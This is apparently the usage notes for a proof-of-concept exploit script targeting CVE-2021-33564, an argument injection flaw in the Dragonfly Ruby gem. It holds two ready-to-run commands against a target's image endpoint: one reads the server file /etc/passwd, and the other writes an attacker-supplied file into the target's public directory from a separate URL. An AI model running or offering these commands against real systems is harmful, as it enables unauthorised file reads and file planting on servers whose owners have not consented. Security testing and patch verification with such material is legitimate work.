Exploit script for CVE-2021-33564 (Argument Injection in Dragonfly Ruby Gem).
python3 poc.py -u https://<target_url>/system/refinery/images -r /etc/passwd
python3 poc.py -u https://<target_url>/system/refinery/images -w public/test.txt -c test.txt -lu http://<local_url>
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